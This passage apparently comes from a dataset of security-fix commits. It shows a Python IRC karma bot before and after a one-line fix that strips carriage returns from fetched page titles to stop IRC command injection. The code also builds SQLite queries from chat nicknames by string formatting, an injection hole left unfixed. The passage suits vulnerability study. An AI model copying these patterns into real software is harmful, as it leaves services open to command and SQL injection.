Fail in parse]\" \tdef get_data(self): \t\ttry: \t\t\treqObj=urllib2.Request(self.url, None, self.headers) \t\t\turlObj=urllib2.urlopen(reqObj) \t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\") \t\texcept: \t\t\tprint \"Unexpected error:\", sys.exc_info() \t\t\treturn \"Fail in get\" banco=db('carcereiro.db') sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((server, 6667)) sock.send('NICK %s \\r\\n' % nick) sock.send('USER %s \\'\\' \\'\\':%s\\r\\n' %(nick, 'python')) sock.send('JOIN %s \\r\\n' % channel) while True: \tbuffer=sock.recv(2040) \tif not buffer: \t\tbreak \tprint buffer \tif buffer.find('PING') !=-1: \t\tsock.send('PONG ' +buffer.split()[1] +'\\r\\n') \tif re.search(':[!@]help', buffer, re.UNICODE) is not None or re.search(':'+nick+'[,:]+help', buffer, re.UNICODE) is not None: \t\tsendmsg('@karmas, @urls, @slackers\\r\\n') \tregexp =re.compile('PRIVMSG.*[:]([a-z][0-9a-z_\\-\\.]+)\\+\\+', re.UNICODE) \tregexm =re.compile('PRIVMSG.*[:]([a-z][0-9a-z_\\-\\.]+)\\-\\-', re.UNICODE) \tregexk =re.compile('PRIVMSG.*:karma([a-z_\\-\\.]+)', re.UNICODE) \tregexu =re.compile('PRIVMSG.*[:]\\@urls', re.UNICODE) \tregexs =re.compile('PRIVMSG.*[:]\\@slackers', re.UNICODE) \tregexks=re.compile('PRIVMSG.*[:]\\@karmas', re.UNICODE) \tregexslack =re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG.*:(.*)$', re.UNICODE) \tpattern_url =re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG.*(http://[\u00e1\u00e9\u00ed\u00f3\u00fa\u00c1\u00c9\u00cd\u00d3\u00da\u00c0\u00e0a-zA-Z0-9_?=./,\\-\\+\\'~]+)', re.UNICODE) \t \tresultp =regexp.search(buffer) \tresultm =regexm.search(buffer) \tresultk =regexk.search(buffer) \tresultu =regexu.search(buffer) \tresults =regexs.search(buffer) \tresultks=regexks.search(buffer) \tresultslack=regexslack.search(buffer) \turl_search=pattern_url.search(buffer) \tif resultslack is not None: \t\tvar=len(resultslack.group(2)) -1 \t\tnick=resultslack.group(1) \t\tbanco.increment_slack(nick,var) \tif resultp is not None: \t\tvar=resultp.group(1) \t\tbanco.increment_karma(var) \t\tsendmsg(var +' now has ' +str(banco.get_karma(var)) +' points of karma') \t\tcontinue \tif resultm is not None: \t\tvar=resultm.group(1) \t\tbanco.decrement_karma(var) \t\tsendmsg(var +' now has ' +str(banco.get_karma(var)) +' points of karma') \t\tcontinue \tif resultk is not None: \t\tvar=resultk.group(1) \t\tpoints=banco.get_karma(var) \t\tif points is not None: \t\t\tsendmsg(var +' have ' +str(points) +' points of karma') \t\telse: \t\t\tsendmsg(var +' doesn\\'t have any point of karma') \t\tcontinue \tif resultks is not None: \t\tsendmsg('karmas: ' +banco.get_karmas_count()) \t\tcontinue \t \tif results is not None: \t\tsendmsg('slackers in chars: ' +banco.get_slacker_count()) \t\tcontinue \tif resultu is not None: \t\tsendmsg('users: ' +banco.get_urls_count()) \t\tcontinue \t \tif url_search is not None: \t\ttry: \t\t\turl =url_search.group(2) \t\t\tnick=url_search.group(1) \t\t\tparser=html(url) \t\t\tsendmsg( parser.title()) \t\t\tbanco.increment_url( nick) \t\texcept: \t\t\tsendmsg('[ Failed]') \t\t\tprint url \t\t\tprint \"Unexpected error:\", sys.exc_info()[0] sock.close() banco.close() ", "sourceWithComments": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport re\nimport socket\nimport sys\nimport urllib2\nimport os\nimport time\nfrom pysqlite2 import dbapi2 as sqlite\n\nchannel = '#masmorra'\nnick = 'carcereiro'\nserver = 'irc.oftc.net' \n\ndef sendmsg(msg): \n sock.send('PRIVMSG '+ channel + ' :' + str(msg) + '\\r\\n')\n\nclass db():\n\tdef __init__(self, dbfile):\n\t\tif not os.path.exists(dbfile):\n\t\t\tself.conn = sqlite.connect(dbfile)\n\t\t\tself.cursor = self.conn.cursor()\n\t\t\tself.create_table()\n\t\tself.conn = sqlite.connect(dbfile)\n\t\tself.cursor = self.conn.cursor()\n\tdef close(self):\n\t\tself.cursor.close()\n\t\tself.conn.close()\n\tdef create_table(self):\n\t\tself.cursor.execute('CREATE TABLE karma(nome VARCHAR(30) PRIMARY KEY, total INTEGER);')\n\t\tself.cursor.execute('CREATE TABLE url(nome VARCHAR(30) PRIMARY KEY, total INTEGER);')\n\t\tself.cursor.execute('CREATE TABLE slack(nome VARCHAR(30), total INTEGER, data DATE, PRIMARY KEY (data, nome));')\n\t\tself.conn.commit()\n\tdef insert_karma(self,nome,total):\n\t\ttry:\n\t\t\tself.cursor.execute(\"INSERT INTO karma(nome,total) VALUES ('%s', %d );\" % (nome,total))\n\t\t\tself.conn.commit()\n\t\t\treturn True\n\t\texcept:\n\t\t\t#print \"Unexpected error:\", sys.exc_info()[0]\n\t\t\treturn False\n\tdef increment_karma(self,nome):\n\t\tif not self.insert_karma(nome,1):\n\t\t\tself.cursor.execute(\"UPDATE karma SET total = total + 1 where nome = '%s';\" % (nome))\n\t\t\tself.conn.commit()\n\tdef decrement_karma(self,nome):\n\t\tif not self.insert_karma(nome,-1):\n\t\t\tself.cursor.execute(\"UPDATE karma SET total = total - 1 where nome = '%s';\" % (nome))\n\t\t\tself.conn.commit()\n\tdef insert_url(self,nome,total):\n\t\ttry:\n\t\t\tself.cursor.execute(\"INSERT INTO url(nome,total) VALUES ('%s', %d );\" % (nome,total))\n\t\t\tself.conn.commit()\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n\tdef increment_url(self,nome):\n\t\tif not self.insert_url(nome,1):\n\t\t\tself.cursor.execute(\"UPDATE url SET total = total + 1 where nome = '%s';\" % (nome))\n\t\t\tself.conn.commit()\n\tdef insert_slack(self,nome,total):\n\t\ttry:\n\t\t\tself.cursor.execute(\"INSERT INTO slack(nome,total,data) VALUES ('%s', %d, '%s' );\" % (nome,total,time.strftime(\"%Y-%m-%d\", time.localtime())))\n\t\t\tself.conn.commit()\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n\tdef increment_slack(self,nome,total):\n\t\tif not self.insert_slack(nome,total):\n\t\t\tself.cursor.execute(\"UPDATE slack SET total = total + %d where nome = '%s' and data = '%s' ;\" % (total,nome,time.strftime(\"%Y-%m-%d\", time.localtime())))\n\t\t\tself.conn.commit()\n\tdef get_karmas_count(self):\n\t\tself.cursor.execute('SELECT nome,total FROM karma order by total desc')\n\t\tkarmas = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(karmas) == 0:\n\t\t\t\tkarmas = (linha[0]) + ' = ' + str(linha[1])\n\t\t\telse:\n\t\t\t\tkarmas = karmas + ', ' + (linha[0]) + ' = ' + str(linha[1])\n\t\treturn karmas\n\tdef get_karmas(self):\n\t\tself.cursor.execute('SELECT nome FROM karma order by total desc')\n\t\tkarmas = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(karmas) == 0:\n\t\t\t\tkarmas = (linha[0])\n\t\t\telse:\t\n\t\t\t\tkarmas = karmas + ', ' + (linha[0])\n\t\treturn karmas\n\tdef get_karma(self, nome):\n\t\tself.cursor.execute(\"SELECT total FROM karma where nome = '%s'\" % (nome))\n\t\tfor linha in self.cursor:\n\t\t\t\treturn (linha[0])\n\tdef get_urls_count(self):\n\t\tself.cursor.execute('SELECT nome,total FROM url order by total desc')\n\t\turls = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(urls) == 0:\n\t\t\t\turls = (linha[0]) + ' = ' + str(linha[1])\n\t\t\telse:\n\t\t\t\turls = urls + ', ' + (linha[0]) + ' = ' + str(linha[1])\n\t\treturn urls\n\tdef get_slacker_count(self):\n\t\tself.cursor.execute(\"SELECT nome,total FROM slack where data = '%s' order by total desc\" % (time.strftime(\"%Y-%m-%d\", time.localtime())))\n\t\tslackers = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(slackers) == 0:\n\t\t\t\tslackers = (linha[0]) + ' = ' + str(linha[1])\n\t\t\telse:\n\t\t\t\tslackers = slackers + ', ' + (linha[0]) + ' = ' + str(linha[1])\n\t\treturn slackers\n\n\nclass html:\n\tdef __init__(self, url):\n\t\tself.url = url\n\t\tself.feed = None\n\t\tself.headers = {\n\t 'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10)',\n \t 'Accept-Language' : 'pt-br,en-us,en',\n \t'Accept-Charset' : 'utf-8,ISO-8859-1'\n\t }\n\tdef title(self):\n\t\tself.feed = self.get_data()\n\t\ttitle_pattern = re.compile(r\"<[Tt][Ii][Tt][Ll][Ee]>(.*)\", re.UNICODE)\n\t\ttitle_search = title_pattern.search(self.feed)\n\t\tif title_search is not None:\n\t\t\ttry:\n\t\t\t\treturn \"[ \"+re.sub(\"&#?\\w+;\", \"\", title_search.group(1) )+\" ]\"\n\t\t\texcept:\n\t\t\t\tprint \"Unexpected error:\", sys.exc_info()[0]\n\t\t\t\treturn \"[ Fail in parse ]\"\n\tdef get_data(self):\n\t\ttry:\n\t\t\treqObj = urllib2.Request(self.url, None, self.headers)\n\t\t\turlObj = urllib2.urlopen(reqObj)\n\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")\n\t\texcept:\n\t\t\tprint \"Unexpected error:\", sys.exc_info()\n\t\t\treturn \"Fail in get\"\n\n\nbanco = db('carcereiro.db')\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((server, 6667))\nsock.send('NICK %s \\r\\n' % nick)\nsock.send('USER %s \\'\\' \\'\\' :%s\\r\\n' % (nick, 'python'))\nsock.send('JOIN %s \\r\\n' % channel)\n\n\n\nwhile True:\n\tbuffer = sock.recv(2040)\n\tif not buffer:\n\t\tbreak\n\tprint buffer\n\n\tif buffer.find('PING') != -1: \n\t\tsock.send('PONG ' + buffer.split() [1] + '\\r\\n')\n\n\tif re.search(':[!@]help', buffer, re.UNICODE) is not None or re.search(':'+nick+'[ ,:]+help', buffer, re.UNICODE) is not None:\n\t\tsendmsg('@karmas, @urls, @slackers\\r\\n')\n\n\tregexp = re.compile('PRIVMSG.*[: ]([a-z][0-9a-z_\\-\\.]+)\\+\\+', re.UNICODE)\n\tregexm = re.compile('PRIVMSG.*[: ]([a-z][0-9a-z_\\-\\.]+)\\-\\-', re.UNICODE)\n\tregexk = re.compile('PRIVMSG.*:karma ([a-z_\\-\\.]+)', re.UNICODE)\n\tregexu = re.compile('PRIVMSG.*[: ]\\@urls', re.UNICODE)\n\tregexs = re.compile('PRIVMSG.*[: ]\\@slackers', re.UNICODE)\n\tregexks = re.compile('PRIVMSG.*[: ]\\@karmas', re.UNICODE)\n\tregexslack = re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG.* :(.*)$', re.UNICODE)\n\tpattern_url = re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG .*(http://[\u00e1\u00e9\u00ed\u00f3\u00fa\u00c1\u00c9\u00cd\u00d3\u00da\u00c0\u00e0a-zA-Z0-9_?=./,\\-\\+\\'~]+)', re.UNICODE)\n\t\n\tresultp = regexp.search(buffer)\n\tresultm = regexm.search(buffer)\n\tresultk = regexk.search(buffer)\n\tresultu = regexu.search(buffer)\n\tresults = regexs.search(buffer)\n\tresultks = regexks.search(buffer)\n\tresultslack = regexslack.search(buffer)\n\turl_search = pattern_url.search(buffer)\n\n\tif resultslack is not None:\n\t\tvar = len(resultslack.group(2)) - 1\n\t\tnick = resultslack.group(1)\n\t\tbanco.increment_slack(nick,var)\n\n\tif resultp is not None:\n\t\tvar = resultp.group(1)\n\t\tbanco.increment_karma(var)\n\t\tsendmsg(var + ' now has ' + str(banco.get_karma(var)) + ' points of karma')\n\t\tcontinue\n\n\tif resultm is not None:\n\t\tvar = resultm.group(1)\n\t\tbanco.decrement_karma(var)\n\t\tsendmsg(var + ' now has ' + str(banco.get_karma(var)) + ' points of karma')\n\t\tcontinue\n\n\tif resultk is not None:\n\t\tvar = resultk.group(1)\n\t\tpoints = banco.get_karma(var)\n\t\tif points is not None:\n\t\t\tsendmsg(var + ' have ' + str(points) + ' points of karma')\n\t\telse:\n\t\t\tsendmsg(var + ' doesn\\'t have any point of karma')\n\t\tcontinue\n\n\tif resultks is not None:\n\t\tsendmsg('karmas : ' + banco.get_karmas_count())\n\t\tcontinue\n\t\n\tif results is not None:\n\t\tsendmsg('slackers in chars : ' + banco.get_slacker_count())\n\t\tcontinue\n\n\tif resultu is not None:\n\t\tsendmsg('users : ' + banco.get_urls_count())\n\t\tcontinue\n\t\n\tif url_search is not None:\n\t\ttry:\n\t\t\turl = url_search.group(2)\n\t\t\tnick = url_search.group(1)\n\t\t\tparser = html(url)\n\t\t\tsendmsg( parser.title() )\n\t\t\tbanco.increment_url( nick )\n\t\texcept:\n\t\t\tsendmsg('[ Failed ]')\n\t\t\tprint url\n\t\t\tprint \"Unexpected error:\", sys.exc_info()[0]\n\nsock.close()\nbanco.close()\n"}}, "msg": "Emergency fix to IRC command injection vulnerability\n\nSigned-off-by: Eduardo Habkost "}}, "https://github.com/asilveir/PythonBot": {"b551cd0cd87c3df45fc7787828f3bdd6422a7c72": {"url": "https://api.github.com/repos/asilveir/PythonBot/commits/b551cd0cd87c3df45fc7787828f3bdd6422a7c72", "html_url": "https://github.com/asilveir/PythonBot/commit/b551cd0cd87c3df45fc7787828f3bdd6422a7c72", "message": "Emergency fix to IRC command injection vulnerability\n\nSigned-off-by: Eduardo Habkost ", "sha": "b551cd0cd87c3df45fc7787828f3bdd6422a7c72", "keyword": "command injection vulnerable", "diff": "diff --git a/bot_sql.py b/bot_sql.py\nindex 88e91eb..80055c7 100755\n--- a/bot_sql.py\n+++ b/bot_sql.py\n@@ -134,7 +134,7 @@ def get_data(self):\n \t\ttry:\n \t\t\treqObj = urllib2.Request(self.url, None, self.headers)\n \t\t\turlObj = urllib2.urlopen(reqObj)\n-\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")\n+\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\").replace(\"\\r\", \"\")\n \t\texcept:\n \t\t\tprint \"Unexpected error:\", sys.exc_info()\n \t\t\treturn \"Fail in get\"\n", "files": {"/bot_sql.py": {"changes": [{"diff": "\n \t\ttry:\n \t\t\treqObj = urllib2.Request(self.url, None, self.headers)\n \t\t\turlObj = urllib2.urlopen(reqObj)\n-\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")\n+\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\").replace(\"\\r\", \"\")\n \t\texcept:\n \t\t\tprint \"Unexpected error:\", sys.exc_info()\n \t\t\treturn \"Fail in get\"\n", "add": 1, "remove": 1, "filename": "/bot_sql.py", "badparts": ["\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")"], "goodparts": ["\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\").replace(\"\\r\", \"\")"]}], "source": "\n import re import socket import sys import urllib2 import os import time from pysqlite2 import dbapi2 as sqlite channel=' nick='carcereiro' server='irc.oftc.net' def sendmsg(msg): sock.send('PRIVMSG '+channel +':' +str(msg) +'\\r\\n') class db(): \tdef __init__(self, dbfile): \t\tif not os.path.exists(dbfile): \t\t\tself.conn=sqlite.connect(dbfile) \t\t\tself.cursor=self.conn.cursor() \t\t\tself.create_table() \t\tself.conn=sqlite.connect(dbfile) \t\tself.cursor=self.conn.cursor() \tdef close(self): \t\tself.cursor.close() \t\tself.conn.close() \tdef create_table(self): \t\tself.cursor.execute('CREATE TABLE karma(nome VARCHAR(30) PRIMARY KEY, total INTEGER);') \t\tself.cursor.execute('CREATE TABLE url(nome VARCHAR(30) PRIMARY KEY, total INTEGER);') \t\tself.cursor.execute('CREATE TABLE slack(nome VARCHAR(30), total INTEGER, data DATE, PRIMARY KEY(data, nome));') \t\tself.conn.commit() \tdef insert_karma(self,nome,total): \t\ttry: \t\t\tself.cursor.execute(\"INSERT INTO karma(nome,total) VALUES('%s', %d);\" %(nome,total)) \t\t\tself.conn.commit() \t\t\treturn True \t\texcept: \t\t\t \t\t\treturn False \tdef increment_karma(self,nome): \t\tif not self.insert_karma(nome,1): \t\t\tself.cursor.execute(\"UPDATE karma SET total=total +1 where nome='%s';\" %(nome)) \t\t\tself.conn.commit() \tdef decrement_karma(self,nome): \t\tif not self.insert_karma(nome,-1): \t\t\tself.cursor.execute(\"UPDATE karma SET total=total -1 where nome='%s';\" %(nome)) \t\t\tself.conn.commit() \tdef insert_url(self,nome,total): \t\ttry: \t\t\tself.cursor.execute(\"INSERT INTO url(nome,total) VALUES('%s', %d);\" %(nome,total)) \t\t\tself.conn.commit() \t\t\treturn True \t\texcept: \t\t\treturn False \tdef increment_url(self,nome): \t\tif not self.insert_url(nome,1): \t\t\tself.cursor.execute(\"UPDATE url SET total=total +1 where nome='%s';\" %(nome)) \t\t\tself.conn.commit() \tdef insert_slack(self,nome,total): \t\ttry: \t\t\tself.cursor.execute(\"INSERT INTO slack(nome,total,data) VALUES('%s', %d, '%s');\" %(nome,total,time.strftime(\"%Y-%m-%d\", time.localtime()))) \t\t\tself.conn.commit() \t\t\treturn True \t\texcept: \t\t\treturn False \tdef increment_slack(self,nome,total): \t\tif not self.insert_slack(nome,total): \t\t\tself.cursor.execute(\"UPDATE slack SET total=total +%d where nome='%s' and data='%s' ;\" %(total,nome,time.strftime(\"%Y-%m-%d\", time.localtime()))) \t\t\tself.conn.commit() \tdef get_karmas_count(self): \t\tself.cursor.execute('SELECT nome,total FROM karma order by total desc') \t\tkarmas='' \t\tfor linha in self.cursor: \t\t\tif len(karmas)==0: \t\t\t\tkarmas=(linha[0]) +'=' +str(linha[1]) \t\t\telse: \t\t\t\tkarmas=karmas +', ' +(linha[0]) +'=' +str(linha[1]) \t\treturn karmas \tdef get_karmas(self): \t\tself.cursor.execute('SELECT nome FROM karma order by total desc') \t\tkarmas='' \t\tfor linha in self.cursor: \t\t\tif len(karmas)==0: \t\t\t\tkarmas=(linha[0]) \t\t\telse:\t \t\t\t\tkarmas=karmas +', ' +(linha[0]) \t\treturn karmas \tdef get_karma(self, nome): \t\tself.cursor.execute(\"SELECT total FROM karma where nome='%s'\" %(nome)) \t\tfor linha in self.cursor: \t\t\t\treturn(linha[0]) \tdef get_urls_count(self): \t\tself.cursor.execute('SELECT nome,total FROM url order by total desc') \t\turls='' \t\tfor linha in self.cursor: \t\t\tif len(urls)==0: \t\t\t\turls=(linha[0]) +'=' +str(linha[1]) \t\t\telse: \t\t\t\turls=urls +', ' +(linha[0]) +'=' +str(linha[1]) \t\treturn urls \tdef get_slacker_count(self): \t\tself.cursor.execute(\"SELECT nome,total FROM slack where data='%s' order by total desc\" %(time.strftime(\"%Y-%m-%d\", time.localtime()))) \t\tslackers='' \t\tfor linha in self.cursor: \t\t\tif len(slackers)==0: \t\t\t\tslackers=(linha[0]) +'=' +str(linha[1]) \t\t\telse: \t\t\t\tslackers=slackers +', ' +(linha[0]) +'=' +str(linha[1]) \t\treturn slackers class html: \tdef __init__(self, url): \t\tself.url=url \t\tself.feed=None \t\tself.headers={ \t 'User-Agent': 'Mozilla/5.0(X11; U; Linux i686; en-US; rv:1.7.10)', \t 'Accept-Language': 'pt-br,en-us,en', \t'Accept-Charset': 'utf-8,ISO-8859-1' \t } \tdef title(self): \t\tself.feed=self.get_data() \t\ttitle_pattern=re.compile(r\"<[Tt][Ii][Tt][Ll][Ee]>(.*)\", re.UNICODE) \t\ttitle_search=title_pattern.search(self.feed) \t\tif title_search is not None: \t\t\ttry: \t\t\t\treturn \"[ \"+re.sub(\"& \t\t\texcept: \t\t\t\tprint \"Unexpected error:\", sys.exc_info()[0] \t\t\t\treturn \"[ Fail in parse]\" \tdef get_data(self): \t\ttry: \t\t\treqObj=urllib2.Request(self.url, None, self.headers) \t\t\turlObj=urllib2.urlopen(reqObj) \t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\") \t\texcept: \t\t\tprint \"Unexpected error:\", sys.exc_info() \t\t\treturn \"Fail in get\" banco=db('carcereiro.db') sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((server, 6667)) sock.send('NICK %s \\r\\n' % nick) sock.send('USER %s \\'\\' \\'\\':%s\\r\\n' %(nick, 'python')) sock.send('JOIN %s \\r\\n' % channel) while True: \tbuffer=sock.recv(2040) \tif not buffer: \t\tbreak \tprint buffer \tif buffer.find('PING') !=-1: \t\tsock.send('PONG ' +buffer.split()[1] +'\\r\\n') \tif re.search(':[!@]help', buffer, re.UNICODE) is not None or re.search(':'+nick+'[,:]+help', buffer, re.UNICODE) is not None: \t\tsendmsg('@karmas, @urls, @slackers\\r\\n') \tregexp =re.compile('PRIVMSG.*[:]([a-z][0-9a-z_\\-\\.]+)\\+\\+', re.UNICODE) \tregexm =re.compile('PRIVMSG.*[:]([a-z][0-9a-z_\\-\\.]+)\\-\\-', re.UNICODE) \tregexk =re.compile('PRIVMSG.*:karma([a-z_\\-\\.]+)', re.UNICODE) \tregexu =re.compile('PRIVMSG.*[:]\\@urls', re.UNICODE) \tregexs =re.compile('PRIVMSG.*[:]\\@slackers', re.UNICODE) \tregexks=re.compile('PRIVMSG.*[:]\\@karmas', re.UNICODE) \tregexslack =re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG.*:(.*)$', re.UNICODE) \tpattern_url =re.compile(':([a-zA-Z0-9\\_]+)!.* PRIVMSG.*(http://[\u00e1\u00e9\u00ed\u00f3\u00fa\u00c1\u00c9\u00cd\u00d3\u00da\u00c0\u00e0a-zA-Z0-9_?=./,\\-\\+\\'~]+)', re.UNICODE) \t \tresultp =regexp.search(buffer) \tresultm =regexm.search(buffer) \tresultk =regexk.search(buffer) \tresultu =regexu.search(buffer) \tresults =regexs.search(buffer) \tresultks=regexks.search(buffer) \tresultslack=regexslack.search(buffer) \turl_search=pattern_url.search(buffer) \tif resultslack is not None: \t\tvar=len(resultslack.group(2)) -1 \t\tnick=resultslack.group(1) \t\tbanco.increment_slack(nick,var) \tif resultp is not None: \t\tvar=resultp.group(1) \t\tbanco.increment_karma(var) \t\tsendmsg(var +' now has ' +str(banco.get_karma(var)) +' points of karma') \t\tcontinue \tif resultm is not None: \t\tvar=resultm.group(1) \t\tbanco.decrement_karma(var) \t\tsendmsg(var +' now has ' +str(banco.get_karma(var)) +' points of karma') \t\tcontinue \tif resultk is not None: \t\tvar=resultk.group(1) \t\tpoints=banco.get_karma(var) \t\tif points is not None: \t\t\tsendmsg(var +' have ' +str(points) +' points of karma') \t\telse: \t\t\tsendmsg(var +' doesn\\'t have any point of karma') \t\tcontinue \tif resultks is not None: \t\tsendmsg('karmas: ' +banco.get_karmas_count()) \t\tcontinue \t \tif results is not None: \t\tsendmsg('slackers in chars: ' +banco.get_slacker_count()) \t\tcontinue \tif resultu is not None: \t\tsendmsg('users: ' +banco.get_urls_count()) \t\tcontinue \t \tif url_search is not None: \t\ttry: \t\t\turl =url_search.group(2) \t\t\tnick=url_search.group(1) \t\t\tparser=html(url) \t\t\tsendmsg( parser.title()) \t\t\tbanco.increment_url( nick) \t\texcept: \t\t\tsendmsg('[ Failed]') \t\t\tprint url \t\t\tprint \"Unexpected error:\", sys.exc_info()[0] sock.close() banco.close() ", "sourceWithComments": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport re\nimport socket\nimport sys\nimport urllib2\nimport os\nimport time\nfrom pysqlite2 import dbapi2 as sqlite\n\nchannel = '#masmorra'\nnick = 'carcereiro'\nserver = 'irc.oftc.net' \n\ndef sendmsg(msg): \n sock.send('PRIVMSG '+ channel + ' :' + str(msg) + '\\r\\n')\n\nclass db():\n\tdef __init__(self, dbfile):\n\t\tif not os.path.exists(dbfile):\n\t\t\tself.conn = sqlite.connect(dbfile)\n\t\t\tself.cursor = self.conn.cursor()\n\t\t\tself.create_table()\n\t\tself.conn = sqlite.connect(dbfile)\n\t\tself.cursor = self.conn.cursor()\n\tdef close(self):\n\t\tself.cursor.close()\n\t\tself.conn.close()\n\tdef create_table(self):\n\t\tself.cursor.execute('CREATE TABLE karma(nome VARCHAR(30) PRIMARY KEY, total INTEGER);')\n\t\tself.cursor.execute('CREATE TABLE url(nome VARCHAR(30) PRIMARY KEY, total INTEGER);')\n\t\tself.cursor.execute('CREATE TABLE slack(nome VARCHAR(30), total INTEGER, data DATE, PRIMARY KEY (data, nome));')\n\t\tself.conn.commit()\n\tdef insert_karma(self,nome,total):\n\t\ttry:\n\t\t\tself.cursor.execute(\"INSERT INTO karma(nome,total) VALUES ('%s', %d );\" % (nome,total))\n\t\t\tself.conn.commit()\n\t\t\treturn True\n\t\texcept:\n\t\t\t#print \"Unexpected error:\", sys.exc_info()[0]\n\t\t\treturn False\n\tdef increment_karma(self,nome):\n\t\tif not self.insert_karma(nome,1):\n\t\t\tself.cursor.execute(\"UPDATE karma SET total = total + 1 where nome = '%s';\" % (nome))\n\t\t\tself.conn.commit()\n\tdef decrement_karma(self,nome):\n\t\tif not self.insert_karma(nome,-1):\n\t\t\tself.cursor.execute(\"UPDATE karma SET total = total - 1 where nome = '%s';\" % (nome))\n\t\t\tself.conn.commit()\n\tdef insert_url(self,nome,total):\n\t\ttry:\n\t\t\tself.cursor.execute(\"INSERT INTO url(nome,total) VALUES ('%s', %d );\" % (nome,total))\n\t\t\tself.conn.commit()\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n\tdef increment_url(self,nome):\n\t\tif not self.insert_url(nome,1):\n\t\t\tself.cursor.execute(\"UPDATE url SET total = total + 1 where nome = '%s';\" % (nome))\n\t\t\tself.conn.commit()\n\tdef insert_slack(self,nome,total):\n\t\ttry:\n\t\t\tself.cursor.execute(\"INSERT INTO slack(nome,total,data) VALUES ('%s', %d, '%s' );\" % (nome,total,time.strftime(\"%Y-%m-%d\", time.localtime())))\n\t\t\tself.conn.commit()\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n\tdef increment_slack(self,nome,total):\n\t\tif not self.insert_slack(nome,total):\n\t\t\tself.cursor.execute(\"UPDATE slack SET total = total + %d where nome = '%s' and data = '%s' ;\" % (total,nome,time.strftime(\"%Y-%m-%d\", time.localtime())))\n\t\t\tself.conn.commit()\n\tdef get_karmas_count(self):\n\t\tself.cursor.execute('SELECT nome,total FROM karma order by total desc')\n\t\tkarmas = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(karmas) == 0:\n\t\t\t\tkarmas = (linha[0]) + ' = ' + str(linha[1])\n\t\t\telse:\n\t\t\t\tkarmas = karmas + ', ' + (linha[0]) + ' = ' + str(linha[1])\n\t\treturn karmas\n\tdef get_karmas(self):\n\t\tself.cursor.execute('SELECT nome FROM karma order by total desc')\n\t\tkarmas = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(karmas) == 0:\n\t\t\t\tkarmas = (linha[0])\n\t\t\telse:\t\n\t\t\t\tkarmas = karmas + ', ' + (linha[0])\n\t\treturn karmas\n\tdef get_karma(self, nome):\n\t\tself.cursor.execute(\"SELECT total FROM karma where nome = '%s'\" % (nome))\n\t\tfor linha in self.cursor:\n\t\t\t\treturn (linha[0])\n\tdef get_urls_count(self):\n\t\tself.cursor.execute('SELECT nome,total FROM url order by total desc')\n\t\turls = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(urls) == 0:\n\t\t\t\turls = (linha[0]) + ' = ' + str(linha[1])\n\t\t\telse:\n\t\t\t\turls = urls + ', ' + (linha[0]) + ' = ' + str(linha[1])\n\t\treturn urls\n\tdef get_slacker_count(self):\n\t\tself.cursor.execute(\"SELECT nome,total FROM slack where data = '%s' order by total desc\" % (time.strftime(\"%Y-%m-%d\", time.localtime())))\n\t\tslackers = ''\n\t\tfor linha in self.cursor:\n\t\t\tif len(slackers) == 0:\n\t\t\t\tslackers = (linha[0]) + ' = ' + str(linha[1])\n\t\t\telse:\n\t\t\t\tslackers = slackers + ', ' + (linha[0]) + ' = ' + str(linha[1])\n\t\treturn slackers\n\n\nclass html:\n\tdef __init__(self, url):\n\t\tself.url = url\n\t\tself.feed = None\n\t\tself.headers = {\n\t 'User-Agent' : 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10)',\n \t 'Accept-Language' : 'pt-br,en-us,en',\n \t'Accept-Charset' : 'utf-8,ISO-8859-1'\n\t }\n\tdef title(self):\n\t\tself.feed = self.get_data()\n\t\ttitle_pattern = re.compile(r\"<[Tt][Ii][Tt][Ll][Ee]>(.*)\", re.UNICODE)\n\t\ttitle_search = title_pattern.search(self.feed)\n\t\tif title_search is not None:\n\t\t\ttry:\n\t\t\t\treturn \"[ \"+re.sub(\"&#?\\w+;\", \"\", title_search.group(1) )+\" ]\"\n\t\t\texcept:\n\t\t\t\tprint \"Unexpected error:\", sys.exc_info()[0]\n\t\t\t\treturn \"[ Fail in parse ]\"\n\tdef get_data(self):\n\t\ttry:\n\t\t\treqObj = urllib2.Request(self.url, None, self.headers)\n\t\t\turlObj = urllib2.urlopen(reqObj)\n\t\t\treturn urlObj.read(4096).strip().replace(\"\\n\",\"\")\n\t\texcept:\n\t\t\tprint \"Unexpected error:\", sys.exc_info()\n\t\t\treturn \"Fail in get\"\n\n\nbanco = db('carcereiro.db')\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.connect((server, 6667))\nsock.send('NICK %s \\r\\n' % nick)\nsock.send('USER %s \\'\\' \\'\\' :%s\\r\\n' % (nick, 'python'))\nsock.send('JOIN %s \\r\\n' % channel)\n\n\n\nwhile True:\n\tbuffer = sock.recv(2040)\n\tif not buffer:\n\t\tbreak\n\tprint 